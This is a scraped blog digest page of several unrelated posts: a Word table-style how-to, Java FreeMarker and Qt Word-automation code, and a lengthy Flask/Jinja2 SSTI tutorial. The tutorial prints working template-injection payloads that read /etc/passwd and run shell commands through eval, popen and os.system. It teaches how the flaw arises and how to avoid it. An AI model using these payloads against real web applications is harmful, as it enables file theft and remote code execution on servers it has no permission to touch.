精华内容
下载资源
问答
  • 今天给大家分享如何巧用Word表格样式,制作一个三线表模板。在论文写作过程中,很多期刊和毕业论文表格都要求是三线表,这里就以三线表为例子,制作一个三线表表格样式。这样就会省去我们手动调整表格边框及其...

    今天给大家分享如何巧用Word表格样式,制作一个三线表模板。在论文写作过程中,很多期刊和毕业论文的表格都要求是三线表,这里就以三线表为例子,制作一个三线表的表格样式。这样就会省去我们手动调整表格边框及其粗细的时间。

    2c78b1c75d3a4300d55ea51489eadd77.png

    首先在Word中插入一个表格,然后在“表格工具-表格样式”中点击新建表格样式。

    3cca26ca749ed62a1df100df54ed107c.png

    8c75ed2b21293bfe5f27f6bea0663d30.png

    然后在打开的对话框中,名称一栏写“三线表”,“将格式应用于”选项选择“整个表格”,然后将表格的上框线和下框设置为1.5磅。

    bb4bf1bb040a4c8d5243e7c21c3a04f9.png

    然后“将格式应用于”选项选择“标题行”,将标题行的下框线设置为0.5磅。

    勾选“基于改模板的新文档”,这样打开别的word文档也可以使用这个三线表的表格样式。如果勾选了“仅限此文档”,那么这个三线表的表格样式,这能在当前打开的这个Word文档使用。

    f7813bad1f61da817c6ef42ca18cd771.png

    设置完成后,在表格样式中就会出现我们刚刚做好的三线表了。使用时,只需要选中表格,然后点击这个三线表样式,表格格式就会变成三线表了。

    1098534733c64db31ab18fe779e6efb3.png

    248af906b7479fd374729ff596d4eaa4.gif

    扫码关注更多精彩

    3fb9966cea70b9fd7fb2970c3137aac1.pngf426eac9c9dfd3a51e72b570eaea1980.png38522f4cafed049882e4ffed3b02d4fc.png

    点击此处进行留言

    展开全文
  • 大概思路以及步骤,本人在网上看了别人的例子,自己也照着修改了下 用在了实际的应用开发过程中,效果真的很不错   先用office2003或者2007编辑好word的样式,然后另存为xml,将xml翻译为FreeMarker模板,最后用...

    大概思路以及步骤,本人在网上看了别人的例子,自己也照着修改了下 用在了实际的应用开发过程中,效果真的很不错

     

    先用office2003或者2007编辑好word的样式,然后另存为xml,将xml翻译为FreeMarker模板,最后用java来解析FreeMarker模板并输出Doc。经测试这样方式生成的word文档完全符合office标准,样式、内容控制非常便利,打印也不会变形,生成的文档和office中编辑文档完全一样

     

     

    将编辑好的文档另存为XML

     

     

    再用Firstobjectfree XML editorxml中我们需要填数据的地方打上FreeMarker标记

     

    最后生成的文档样式

    package com.havenliu.document;  
    import java.io.BufferedWriter;  
    import java.io.File;  
    import java.io.FileNotFoundException;  
    import java.io.FileOutputStream;  
    import java.io.IOException;  
    import java.io.OutputStreamWriter;  
    import java.io.Writer;  
    import java.util.ArrayList;  
    import java.util.HashMap;  
    import java.util.List;  
    import java.util.Map;  
    import freemarker.template.Configuration;  
    import freemarker.template.Template;  
    import freemarker.template.TemplateException;  
    public class DocumentHandler {  
    private Configuration configuration = null;  
    public DocumentHandler() {  
    configuration = new Configuration();  
    configuration.setDefaultEncoding("utf-8");  
    }  
    public void createDoc() {  
    //要填入模本的数据文件  
    Map dataMap=new HashMap();  
    getData(dataMap);  
    //设置模本装置方法和路径,FreeMarker支持多种模板装载方法。可以重servlet,classpath,数据库装载,  
    //这里我们的模板是放在com.havenliu.document.template包下面  
    configuration.setClassForTemplateLoading(this.getClass(), "/com/havenliu/document/template");  
    Template t=null;  
    try {  
    //test.ftl为要装载的模板  
    t = configuration.getTemplate("test.ftl");  
    } catch (IOException e) {  
    e.printStackTrace();  
    }  
    //输出文档路径及名称  
    File outFile = new File("D:/temp/outFile.doc");  
    Writer out = null;  
    try {  
    out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(outFile)));  
    } catch (FileNotFoundException e1) {  
    e1.printStackTrace();  
    }  
    try {  
    t.process(dataMap, out);  
    } catch (TemplateException e) {  
    e.printStackTrace();  
    } catch (IOException e) {  
    e.printStackTrace();  
    }  
    }  
    /**  
    * 注意dataMap里存放的数据Key值要与模板中的参数相对应  
    * @param dataMap  
    */ 
    private void getData(Map dataMap)  
    {  
    dataMap.put("author", "张三");  
    dataMap.put("remark", "这是测试备注信息");  
    List  
    _table1=new ArrayList();  
    Table1 t1=new Table1();  
    t1.setDate("2010-10-1");  
    t1.setText("制定10月开发计划内容。");  
    _table1.add(t1);  
    Table1 t2=new Table1();  
    t2.setDate("2010-10-2");  
    t2.setText("开会讨论开发计划");  
    _table1.add(t2);  
    dataMap.put("table1", _table1);  
    List  
    _table2=new ArrayList();  
    for(int i=0;i<5;i++)  
    {  
    Table2 _t2=new Table2();  
    _t2.setDetail("测试开发计划"+i);  
    _t2.setPerson("张三——"+i);  
    _t2.setBegindate("2010-10-1");  
    _t2.setFinishdate("2010-10-31");  
    _t2.setRemark("备注信息");  
    _table2.add(_t2);  
    }  
    dataMap.put("table2", _table2);  
    }  
    } 
    


     

     

    展开全文
  • 其他思路:*利用写好的模板,向标签插入内容:这个例子思路很好,但是可能因为版本问题,没有调试通过,只能够打开word应用程序,不能生成文档。修改了两个绝对路径也不好使,希望后面有机会再调一调。*还试过在生成...

    3d64504c3934aaa7bc350c1d1c0151cb.png

    功能:可以新建一份word文档,并且在文档中自动设置(一部分)格式排版。在Qt4.8.1版本下。

    方案思路:这个示例完成了大部分功能,很有用;

    其他思路:

    *利用写好的模板,向标签插入内容:这个例子思路很好,但是可能因为版本问题,没有调试通过,只能够打开word应用程序,不能生成文档。修改了两个绝对路径也不好使,希望后面有机会再调一调。

    *还试过在生成“空白(三栏)”(word内置构建基块)页眉的时候,录制宏,然后把宏转换成C++语言,但是构建基块的语言不起作用。

    问题:COM、ActiveX、Windows API、VBA到C++的转换。

    这个地址提供了office的VBA的参考,需要把用到的转为C++语言。

    需要用到:QAxObject和QAxWidget类,调用COM组件,和Word连接。

    注意:工程中要加入.lib库

    代码:

    Pro文档:

    #-------------------------------------------------
    #
    # Project created by QtCreator 2020-11-27T10:48:51
    #
    #-------------------------------------------------
    
    QT       += core gui
    QT       += qaxcontainer
    
    LIBS     += C:QtSDKDesktopQt4.8.1msvc2008libQAxContainerd.lib
    LIBS     += C:QtSDKDesktopQt4.8.1msvc2008libQAxServerd.lib
    
    
    TARGET = QWord
    TEMPLATE = app
    
    
    SOURCES += main.cpp
        QWord.cpp 
        generatedoc.cpp
    
    HEADERS  += 
        QWord.h 
        generatedoc.h
    
    FORMS    +=
    

    funcTest函数:

    void QWord::funcTest()
    {
        QAxObject* viewPage = m_word->querySubObject("ActiveWindow");
        viewPage->querySubObject("View")->querySubObject("SeekView")->querySubObject("WdSeekView","wdSeekCurrentPageHeader");
        QAxObject* selection = m_word->querySubObject("Selection");
        selection->querySubObject("HeaderFooter")->querySubObject("Range")->querySubObject("Text","text");
        viewPage->querySubObject("View")->querySubObject("SeekView")->querySubObject("WdSeekView","wdSeekMainDocument");
    
        QAxObject* view = m_word->querySubObject("View");
        view->querySubObject("SeekView")->querySubObject("WdViewType","wdSeekCurrentPageHeader");
        selection->dynamicCall("TypeText(const QString&)","test");
        view->querySubObject("SeekView")->querySubObject("WdViewType","wdSeekMainDocument");
    
        ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary) _
            .PageNumbers(1).Alignment = wdAlignPageNumberCenter
    
    //    QAxObject* section = m_document->querySubObject("Sections(1)");
    //    section->querySubObject("Footers")->querySubObject("PageNumbers(1)");
    
    //    ActiveWindow.View.SeekView = WdSeekView.wdSeekCurrentPageFooter;
    //    this.Application.Selection.HeaderFooter.LinkToPrevious = false;
    //    this.Application.Selection.HeaderFooter.Range.ParagraphFormat.Alignment = WdParagraphAlignment.wdAlignParagraphCenter;
    //    ActiveWindow.ActivePane.Selection.InsertAfter(footer);
    
    //    //跳出页眉页脚设置
    //    ActiveWindow.View.SeekView = WdSeekView.wdSeekMainDocument;
    //    QAxObject* selection = m_word->querySubObject("Selection");
        QAxObject* viewPage = m_word->querySubObject("ActiveWindow");
        //页脚激活
        QAxObject* selection = m_word->querySubObject("Selection");
    
        viewPage->querySubObject("View")->querySubObject("WdSeekView","wdSeekCurrentPageFooter");
    //    selection->dynamicCall("TypeText(const QString&)","text");
    //    m_word->querySubObject("Selection")->querySubObject("Footers")->querySubObject("Range")->dynamicCall("InsertAfter(QString&)","test");
        QAxObject* section = m_document->querySubObject("Sections(1)");
        section->querySubObject("Footers(wdHeaderFooterPrimary)")->querySubObject("Range")->querySubObject("Text","第   页");
        section->querySubObject("Footers(wdHeaderFooterPrimary)")->querySubObject("Range")->querySubObject("ParagraphFormat")->setProperty("Alignment","wdAlignParagraphCenter");
    
    //        selection->querySubObject("ParagraphFormat")->setProperty("Alignment","wdAlignParagraphCenter");
    
    
    //    section->querySubObject("Footers(wdHeaderFooterPrimary)")->querySubObject("PageNumbers")->querySubObject("Size","14");
        section->querySubObject("Footers(wdHeaderFooterPrimary)")->querySubObject("PageNumbers")->dynamicCall("Add(int)",1);
        section->querySubObject("Footers(wdHeaderFooterPrimary)")->querySubObject("Range")->querySubObject("Font")->setProperty("Name",(QString)"宋体");
    
    
    
    //    selection->querySubObject("ParagraphFormat")->setProperty("Alignment","wdAlignParagraphRight");
    
        //页脚关闭
        viewPage->querySubObject("View")->querySubObject("WdSeekView","wdSeekMainDocument");
    
    
        //页眉激活
        viewPage->querySubObject("View")->querySubObject("WdSeekView","wdSeekCurrentPageHeader");
    //    QAxWidget* range = section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range");
    //    selection->querySubObject("ParagraphFormat")->setProperty("Alignment","wdAlignParagraphJustify");
    //    section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range")->querySubObject("Text","测试                                      测试报告                                ");
        //    section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range")->dynamicCall("Collapse(QVariant&)","wdCollapseEnd");
    
        section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range")->dynamicCall("InsertDateTime(QVariant&, bool)","MM/dd/yyyy",false);
    //    section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range")->querySubObject("Font")->setProperty("Name",(QString)"宋体");
        section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range")->dynamicCall("InsertBefore(QString&)","测试                                      测试报告                                ");
    //    QAxWidget* range = section->dynamicCall("SetRange(int, int)", 77,86);
    //    QAxObject* selection = m_word->querySubObject("Selection");
    //    selection->dynamicCall("SetRange(int, int)", 77,86);
    //    selection->querySubObject("Font")->setProperty("Name","Times New Roman");
    //    range->querySubObject("Font")->setProperty("Name",(QString)"Times New Roman");
        //        m_word->querySubObject("Selection")->querySubObject("Footers")->querySubObject("Range")->dynamicCall("InsertBefore(QString&)","test");
    
    
        //页眉关闭
        viewPage->querySubObject("View")->querySubObject("WdSeekView","wdSeekMainDocument");
    }

    funcTest函数用来设置三栏页眉和页脚页码,三栏页眉还没找到合适的方法。

    还是需要完成后记录,之前写好的没上传,结果断电丢失了,虽然保存了,但新写的还是丢了。

    其他参考内容:

    C#的操作小结;

    这也是一个例子,不过是Qt5的,没有再尝试,QWordDemo,有网盘链接;

    InsertAfter。


    202012041620

    之前在main()函数里面实例化了一个QWord类的对象:word,然后调用word的成员函数顺序执行,这样的话main()函数里面的重复代码太多了,容易干扰。所以,新建了一个GenerateDoc类,它继承自QWord类,所以有QWord的所有成员函数,另外再加一个public成员函数:docAction(),在这个函数中,先初始化好一些标准,然后实例化一个QWord对象,并顺序执行成员函数,生成word文档。

    GenerateDoc.h文件:

    #ifndef GENERATEDOC_H
    #define GENERATEDOC_H
    #include "QWord.h"
    
    class GenerateDoc : public QWord
    {
        Q_OBJECT
    public:
        explicit GenerateDoc(QWord *parent = 0);
        ~GenerateDoc();
    
        void docAction();
        
    signals:
        
    public slots:
        
    };
    
    #endif // GENERATEDOC_H

    它使用public方式继承了QWord类,定义了构造函数和析构函数;暂时没有定义信号和槽函数。

    GenerateDoc.cpp文件:

    #include "generatedoc.h"
    #include <QtCore>
    
    
    GenerateDoc::GenerateDoc(QWord *parent) :
        QWord(parent)
    {
    
    }
    GenerateDoc::~GenerateDoc()
    {
    
    }
    
    //QWord的一系列动作都合在docAction函数中,顺序执行,无返回值,有参数列表
    void GenerateDoc::docAction()           //现在考虑参数
    {
        QTextCodec *codec = QTextCodec::codecForName("GB2312");         //标准的定义
        QTextCodec::setCodecForLocale(codec);
        QTextCodec::setCodecForCStrings(codec);
        QTextCodec::setCodecForTr(codec);
        QWord word;
        word.createNewWord();
        word.setPageOrientation(0);			//页面纵向
        word.setWordPageView(3);			//页面视图
        word.setFontSize(15);				//字体大小
        word.setParagraphAlignment(0);		//下面文字置中
        word.setFontBold(true);				//字体加粗
        word.setFontName((QString)"宋体");
        word.insertText(QString("测试报告"));//插入文字
        word.setFontBold(false);			//字体加粗
        word.insertMoveDown();
        word.setParagraphAlignment(1);		//下面文字置左
        word.setFontSize(12);
        word.insertMoveDown();
        word.insertMoveDown();
        word.insertText(QString(""));//插入文字
        word.insertMoveDown();
        word.funcTest();
    
        word.close();
    }
    

    这样的话,main()函数中的语句会很少,很清楚。

    main().cpp

    #include "qword.h"
    #include "generatedoc.h"
    #include <QtGui/QApplication>
    #include <QtCore>
    #include <QMessageBox>
    
    int main(int argc, char *argv[])
    {
        QApplication a(argc, argv);
        GenerateDoc geneTest;
        geneTest.docAction();
    
    //    return a.exec();这句话加上的话,进程不能自动结束
    }
    展开全文
  • Flask是一个使用 Python 编写轻量级 Web 应用框架。在学习SSTI之前,先把flask运作流程搞明白。这样有利用更快速理解原理。 路由 先看一段代码 from flask import flask @app.route('/index/') def hello_...

    先入个门

    个人感觉学SSTI注入之前,最好先学习一下python的沙盒绕过,两个利用的地方比较类似。

    Jimja2

    Jinja2是默认的仿Django模板的一个模板引擎,由Flask的作者开发。网上搜的语法2333,方便自己回顾

    模板

    {{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
    {% ... %}:装载一个控制语句,if、for等语句。
    {# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
    

    变量

    在模板中添加变量,可以使用 set 语句。

    {% set name='xx' %}
    

    with语句来创建一个内部的作用域,将set语句放在其中,这样创建的变量只在with代码块中才有效

    {% with gg = 42 %}
    {{ gg }}
    {% endwith %}
    

    if语句

    {% if ken.sick %}
    Ken is sick.
    {% elif ken.dead %}
    You killed Ken! You bastard!!!
    {% else %}
    Kenny looks okay --- so far
    {% endif %}
    
    

    for语句

    {% for user in users %}
    {{ user.username|e }}
    {% endfor %}
    

    遍历

    {% for key, value in <strong>my_dict.iteritems()</strong> %}
    &lt;dt&gt;{{ key|e }}&lt;/dt&gt;
    &lt;dd&gt;{{ value|e }}&lt;/dd&gt;
    {% endfor %}
    

    flask基础

    Flask是一个使用 Python 编写的轻量级 Web 应用框架。在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。

    route装饰器路由

    @app.route('/')
    

    使用 route() 装饰器告诉 Flask 什么样的URL能触发我们的函数。route() 装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如

    @app.route('/')
    def test()"
       return 123
    

    访问127.0.0.1:5000/则会输出123。再如:

    from flask import flask 
    @app.route('/index/')
    def hello_word():
        return 'hello word'
    

    route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello word。
    此外还可以设置动态网址:

    @app.route("/hello/<username>")
    def hello_user(username):
      return "user:%s"%username
    

    根据url里的输入,动态辨别身份,此时便可以看到如下页面:
    在这里插入图片描述

    模板渲染方法(重点)

    flask的渲染方法有render_template和render_template_string两种,你需要做的一切就是将模板名你想作为关键字的参数传入模板的变量(需要我们渲染参数)
    **render_template()**是用来渲染一个指定的文件的。使用如下:
    return render_template(‘index.html’)
    render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

    使用方法如下

    html = '<h1>This is index page</h1>'
    return render_template_string(html)
    

    简单的模版渲染示例:

    from flask import render_template
    
    @app.route('/hello/')
    @app.route('/hello/<name>')
    def hello(name=None):
    	return render_template('hello.html', name=name)
    

    我们hello.html模板未创建所以这段代码暂时供观赏,不妨往下继续看

    首先要搞清楚,模板渲染体系,render_template函数渲染的是templates中的模板所谓模板是我们自己写的html,里面的参数需要我们根据每个用户的需求传入动态变量

    ├── app.py  
    ├── static  
    │   └── style.css  
    └── templates  
        └── index.html
    

    在这里插入图片描述
    我们写一个index.html文件到templates文件夹中:

    <html>
      <head>
        <title>{{title}} - 小猪佩奇</title>
      </head>
     <body>
          <h1>Hello, {{user.name}}!</h1>
      </body>
    </html>
    

    里面有两个参数需要我们渲染,user.name,以及title

    我们在app.py文件里进行渲染。

    @app.route('/')
    @app.route('/index')   # 我们访问/或者/index都会跳转
    def index():
       user = {'name': '小猪佩奇'}   # 传入一个字典数组
       return render_template("index.html",title='Home',user=user)
    

    在这里插入图片描述
    以上这次渲染我们没有使用用户可控,所以是安全的,如果我们交给用户可控并且不过滤参数就有可能造成SSTI模板注入漏洞。

    模板

    flask是使用Jinja2来作为渲染引擎的。看例子:
    在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。

    test.py

    from flask import Flask,url_for,redirect,render_template,render_template_string
    @app.route('/index/')
    def user_login():
        return render_template('index.html')
    

    /templates/index.html

    <h1>This is index page</h1>
    

    访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。

    模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。

    例子

    test.py

    from flask import Flask,url_for,redirect,render_template,render_template_string
    @app.route('/index/')
    def user_login():
        return render_template('index.html',content='This is index page.')
    

    /templates/index.html

    <h1>{{content}}</h1>
    

    这个时候页面仍然输出This is index page。
    {{}}在Jinja2中作为变量包裹标识符。

    模板引擎

    首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现 界面数据 分离,业务代码逻辑代码 的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然 模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

    模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的 视觉表现(HTML代码)这项工作的一种 实现手段,而这种手段不论在前端还是后端都有应用。

    通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处是展示数据快,大大提升效率。

    后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

    前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来 解析渲染成html的人们可视化的代码 而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

    让我们用例子来简析模板渲染:

    <html>
    <div>{$what}</div>
    </html>
    

    我们想要呈现在每个用户面前其自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户的为

    <html>
    <div>张三</div>
    </html>
    

    通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登陆的时候可能会返回 hi,张三这个时候张三可能就是通过你的身份信息而渲染成 html 返回到页面。

    模板注入

    漏洞成因

    ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成了模板可控。本文着重对flask模板注入进行浅析。

    不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?

    xss利用

    存在漏洞的代码

    @app.route('/test/')
    def test():
        code = request.args.get('id')
        html = '''
            <h3>%s</h3>
        '''%(code)
        return render_template_string(html)
    

    这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。
    尝试构造code为一串js代码。
    在这里插入图片描述
    将代码改为如下

    @app.route('/test/')
    def test():
        code = request.args.get('id')
        return render_template_string('<h1>{{ code }}</h1>',code=code)
    

    继续尝试
    在这里插入图片描述
    可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的 变量值 进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。

    模板注入并不局限于xss,它还可以进行其他攻击。

    SSTI文件读取/命令执行

    基础知识

    在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。只需要记两种特殊符号:

    {{ }}{% %}
    

    变量相关的用{{}},逻辑相关的用{%%}。

    这里还是用上文中存在漏洞的代码

    @app.route('/test/')
    def test():
        code = request.args.get('id')
        html = '''
            <h3>%s</h3>
        '''%(code)
        return render_template_string(html)
    

    构造参数{{2*4}},结果如下
    在这里插入图片描述
    可以看到表达式被执行了,说明ssti漏洞可以利用

    在flask中也有一些全局变量。
    在这里插入图片描述
    文件读取

    看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。顺着师傅们的思路,再理一遍。

    找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。

    几个魔术方法

    __class__  返回类型所属的对象
    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __base__   返回该对象所继承的基类
    // __base__和__mro__都是用来寻找基类的
    // 在python中,每个类都有一个bases属性,列出其基类
    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用
    

    1 、获取字符串的类对象

    >>> ''.__class__
    <type 'str'>
    

    2 、寻找基类。(在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。)

    >>> "".__class__.__bases__
    (<class 'object'>,)
    

    而我们想要寻找object类的不仅仅只有bases,同样可以使用mro,mro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro:

    >>> ''.__class__.__mro__
    (<type 'str'>, <type 'basestring'>, <type 'object'>)
    

    可以看到同样可以找到object类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。

    3 、寻找可用引用(返回列表,即object类下的方法)

    >>> ''.__class__.__mro__[2].__subclasses__()
    [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
    
    可以看到有一个`<type 'file'>`,索引为40

    这里要记住一点2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。

    接下来就是我们需要找到合适的类,然后从合适的类中寻找我们需要的方法。通过我们在如上这么多类中一个一个查找,找到我们可利用的类,这里举例一种。<type ‘file’>,我们正是要从这个类中寻找我们可利用的方法,通过大概猜测找到是第41个类,0也对应一个类,所以这里写[40]。

    4 、利用file类:

    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    

    放到模板里
    在这里插入图片描述
    可以看到读取到了文件。

    上面链接的文章里面使用file类去进行对文件的读写操作,payload: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }},但是file方法在py3中已经不支持,只要找到可以执行代码的函数或者其他读文件的函数都可以,在vulhub上找到的另外一个适合py3的,利用了eval函数去实现RCE的功能,因为执行语句去实现的,所以得用%括住。方法不止一种,找到对的继承链就可以。

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    

    在这里插入图片描述
    成功读取根目录下的文件
    在这里插入图片描述

    命令执行
    继续看命令执行payload的构造,思路和构造文件读取的一样。

    寻找包含os模块的脚本

    #!/usr/bin/env python
    # encoding: utf-8
    for item in ''.__class__.__mro__[2].__subclasses__():
        try:
             if 'os' in item.__init__.__globals__:
                 print num,item
             num+=1
        except:
            print '-'
            num+=1
    

    输出

    -
    71 <class 'site._Printer'>
    -
    -
    -
    -
    76 <class 'site.Quitter'>
    

    payload

    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
    
    执行的结果无法直接看到
    

    构造paylaod的思路和构造文件读取的是一样的。只不过命令执行的结果无法直接看到,需要利用curl将结果发送到自己的vps或者利用ceye

    实战方面

    此时我们环境已经搭建好了,可以进行更深一步的讲解了,以上好像我们讲解使用了php 代码为啥题目是flask呢,没关系我们现在进入重点!!!–》》flask/jinja2模版注入

    Flask是一个使用Python编写的轻量级web应用框架,其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。这里我们提前给出漏洞代码。访问 http://127.0.0.1:5000/test 即可

    from flask import Flask
    from flask import render_template
    from flask import request
    from flask import render_template_string
    
    app = Flask(__name__)
    @app.route('/test',methods=['GET', 'POST'])
    def test():
        template = '''
            <div class="center-content error">
                <h1>Oops! That page doesn't exist.</h1>
                <h3>%s</h3>
            </div> 
        ''' %(request.url)
    
        return render_template_string(template)
    
    if __name__ == '__main__':
        app.debug = True
        app.run()
    

    flask漏洞成因:
    为什么说我们上面的代码会有漏洞呢,其实对于代码功底比较深的师傅,是不会存在ssti漏洞的,被一些偷懒的师傅简化了代码,所以造成了ssti。上面的代码我们本可以写成类似如下的形式。

    <html>
      <head>
        <title>{{title}} - 小猪佩奇</title>
      </head>
     <body>
          <h1>Hello, {{user.name}}!</h1>
      </body>
    </html>
    

    里面有两个参数需要我们渲染,user.name,以及title

    我们在app.py文件里进行渲染。

    @app.route('/')
    @app.route('/index') # 我们访问/或者/index都会跳转
    def index():
       return render_template("index.html", title='Home',user=request.args.get("key"))
    

    也就是说,两种代码的形式是:一种当字符串来渲染并且使用了%(request.url)另一种规范使用index.html 渲染文件。我们漏洞代码使用了render_template_string函数,而如果我们使用render_template函数,将变量传入进去,现在即使我们写成了request,我们可以在url里写自己想要的恶意代码{{}}你将会发现如下:
    在这里插入图片描述
    即使username可控了,但是代码已经并不生效,并不是你错了,是代码对了。这里问题出在,良好的代码规范,使得模板其实已经固定了,已经被render_template渲染了。这是因为模板引擎一般都默认对渲染的 变量值 进行编码转义,这样就不会存在漏洞了。在这段代码中用户所控的是user变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。你的模板渲染其实已经不可控了。而漏洞代码的问题出在这里:

    def test():
        template = '''
            <div class="center-content error">
                <h1>Oops! That page doesn't exist.</h1>
                <h3>%s</h3>
            </div> 
        ''' %(request.url)
    

    **注意%(request.url),程序员有时因为省事并不会专门写一个html文件,而是直接当字符串来渲染。并且request.url是可控的,这也正是flask在CTF中经常使用的手段,报错404,返回当前错误url,通常CTF的flask如果是ssti,那么八九不离十就是基于这段代码,多的就是一些过滤和一些奇奇怪怪的方法函数。**现在你已经明白了flask的ssti成因以及代码了。接下来我们来说说实战方面。

    对于一些师傅可能更偏向于实战,但是不幸的是实战中几乎不会出现ssti模板注入,或者说很少,大多出现在python 的ctf中。但是我们还是理性分析下。

    每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,不同的引擎不同的解析。所以我们在挖掘之前有必要对网站的web框架进行检查,否则很多时候{{}}并没有用,导致错误判断

    接下来附张图,实战中要测试重点是看一些url的可控,比如url输入什么就输出什么。 前期收集好网站的开发语言以及框架,防止错误利用{{}}而导致错误判断。如下图较全的反映了ssti的一些模板渲染引擎及利用。
    在这里插入图片描述
    参考:https://www.freebuf.com/column/187845.html

    展开全文
